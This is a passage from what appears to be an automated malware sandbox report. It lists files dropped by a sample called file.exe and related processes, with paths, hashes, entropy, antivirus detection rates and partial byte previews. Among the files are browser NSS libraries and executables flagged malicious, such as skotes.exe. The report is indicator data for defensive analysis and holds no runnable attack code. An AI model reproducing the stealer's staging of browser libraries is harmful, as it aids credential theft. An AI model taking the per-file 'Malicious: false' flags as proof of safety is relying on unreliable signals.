.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.t.B.h.f.5.p.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8982701755979834
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x+xl9Il8uwyYSRI9bhjoUPFvIDT0VnqJ3d/vc:aEYWyfI9bFDQDT0VqJC
MD5:	B52C2DEDD419F358B5238568A0F05FC0
SHA1:	92E82C648D43ACE576874794361196E4F82B9C0A
SHA-256:	A5A3B52F6E40E1384C1A0473B64783B85821051FB459317690F56608C592DF3D
SHA-512:	67FA670615B5C8E1DB9FD5C306CD38692AF43F9FD81A1BEED06545F80340A9C95848B154BA142AD0AD2275EC9EE47F52DF7A39B513E3564952A036B216E2D38D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".5.N.C.m.g.1.p.X.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.t.B.h.f.5.p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.387582791607957
Encrypted:	false
SSDEEP:	96:6NnQeHQENnQjXAbQjjNnQo9QQNnQVdgEQqNnQAQCNnQSj7DQSKNnQIwQSNnQA3Qa:6NjN6N5N8DN9NhANHWNf
MD5:	B9D4601EB8CA8223476EC2684ACEDF05
SHA1:	CC89D580B0541266B47F2E0B3F94C25E378A84D4
SHA-256:	DA11255477736748E1602765AAF6773C5ED64A467E0BF65CA72EAB69D8E4B142
SHA-512:	7C7DDB226371B7508A37C518B25D508EDDEF309AA6302EA44B648D37D816A7E31C03A01F00CEB339BF28FD3FBA75A9D6CA40453BBF996FF0ADA4A81CA3008DF7
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7C0CCE0D6C4E8773DD896520B45035CC",.. "id": "7C0CCE0D6C4E8773DD896520B45035CC",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7C0CCE0D6C4E8773DD896520B45035CC"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6F9E9880526555ABA11D1A7D08B7B21D",.. "id": "6F9E9880526555ABA11D1A7D08B7B21D",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6F9E9880526555ABA11D1A7D08B7B21D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.379664469087342
Encrypted:	false
SSDEEP:	48:SfNaoQBTEQpfNaoQcQgfNaoQzZ3QzefNaoQuj0UrU0U8Qs:6NnQBTEQFNnQcQsNnQVQ6NnQE0UrU0U0
MD5:	2B3FA93D62A036852BFDE5B2876152F5
SHA1:	E4FC185073F7910DFB8226C321576A1633FDA714
SHA-256:	FE6CA7E69E10922A8A36BEF26872082CFCFD1FD8F8D3AF6C06EE6496FA3119E1
SHA-512:	D3B568C21C285C9162DFE3E31C04847BC5280DB30134A470EEBE7DA79ADF0F042816F92F020B5BB97EA764A8CCB60ED38D1D25EEF4E1FF6DAF5C27A6FBA1FF57
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/77B506926A5E9DA4C8F8E4F98DA513EC",.. "id": "77B506926A5E9DA4C8F8E4F98DA513EC",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/77B506926A5E9DA4C8F8E4F98DA513EC"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9BD8DED4343CA015A5DE43B8111D2C43",.. "id": "9BD8DED4343CA015A5DE43B8111D2C43",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9BD8DED4343CA015A5DE43B8111D2C43"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1896960
Entropy (8bit):	7.949674494452259
Encrypted:	false
SSDEEP:	24576:mKF+C/RJcY84uLe6F+V2GMLGyDmob0PK++TLr/6QQvLGvm240G6fO4I7oiZlRrt+:T//uLflGMLlZ+G/6QoLG74zGU7VPjT
MD5:	E2B4AD896B6B95121ABC835984B6AE8A
SHA1:	9859F91940F15B1B429B3FE73C61C6ADFDB63087
SHA-256:	A73D528BFF9160D541EC02E7AFD0630F268EE18A6C926A5169A0D7D070982BCD
SHA-512:	B475F14852692F6193E469E10DD38E8482434A7461DB3FBDFFA9D15D2A6FE7AA03D1AF369F9B948E4CAD822B369753C60C8DFE822F2D02FBC2C5C64F69484535
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D...........0K...........@..........................`K......`....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..+.........................@...bfdmawcw.@....0..@..................@...pacjmtzm..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0bf6e972-22e1-4d5b-b944-ab8ff6de4438.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\9fd0c635-5f29-4aa8-98bd-1cd101e843c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\ab4cc6ce-80d1-450b-8dde-abf16470391f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2027982
Entropy (8bit):	7.994825229359267
Encrypted:	true
SSDEEP:	49152:w5N0MsAF3DZFl7yMQfbIxwKoN1FDKkQhB3ZMcBrx5Bf/apKb0Cf6RlTvY6lr:w5N0MsS3DZL7yMQfbCwx16rjBf/aAniT
MD5:	6F8646EA1513903DD0B6444B4212243C
SHA1:	D7AAFD5E64DF72775C27D145D8F15B561CA0D691
SHA-256:	BD8062BE20775717E8C8AB0888DD5D430347D6115E5ECB0586B4D8DA643F29F5
SHA-512:	8C456A4437648CE131445B9AE3EC8B8506A05E145ED4222C5F84B4E30B461B6A284118125284CE557BCCDA4663E1ED0D0C2C56B8092387999B14B48038138CD3
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsJKEHIIJJEC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3167744
Entropy (8bit):	6.616015119717629
Encrypted:	false
SSDEEP:	49152:vrm3X31TWerB5f+5RqbT4oOWLta35t8kkw:vrm3ZWIB5f+5Qnzza35tl
MD5:	E6B92405E74B69C11B84C463CE2EB30C
SHA1:	5A8E96778EA91A33F5117A026876FEB920696D12
SHA-256:	FE4D1648F6FD3CFA5FB29EAE4A7DA1E52F707DBACF5D128671C125DD6AE3E8F6
SHA-512:	0EF5FBEDB24CC47FF75034BA643111D96AD7DBD9BF6626033501F9C9FC4105E1E59BA4585A308F690CC98F4133E4838DA34E13C37712B87F7923D75265050167
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`0...........@...........................0.......0...@.................................W...k.......H....................G0..............................F0..................................................... . ............................@....rsrc...H...........................@....idata ............................@...ssoyctxs..).......).................@...dfcyajlh.....P0......00.............@....taggant.0...`0.."...40.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.41053873657584
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0qilP5dy6o07gW:JIVuwEw5MUFZLBQLtklx7SM
MD5:	F044172B4B0F8EB8055CF8DF2FD6C686
SHA1:	FEF64F44500250CA82A2C8C87EE8574835B51917
SHA-256:	BD9C26605CDA26B4CF03B05C129EBCEA0198DE0D49E90965F6EF6AA7E30BCBB7
SHA-512:	F1D4391B4105C98A9F558F387FB0FC2978483C53179779E7F9B5BDCE5F4A7D054DCADBE7FC1A14D85E672AD0CA6F09CAB2F0E304988837CEBA6D597895C000CA
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d6f92fee-7223-40cb-a0a2-c152a1aaae4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\eefd527d-2fc8-4e3f-a136-eef4955b2311.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
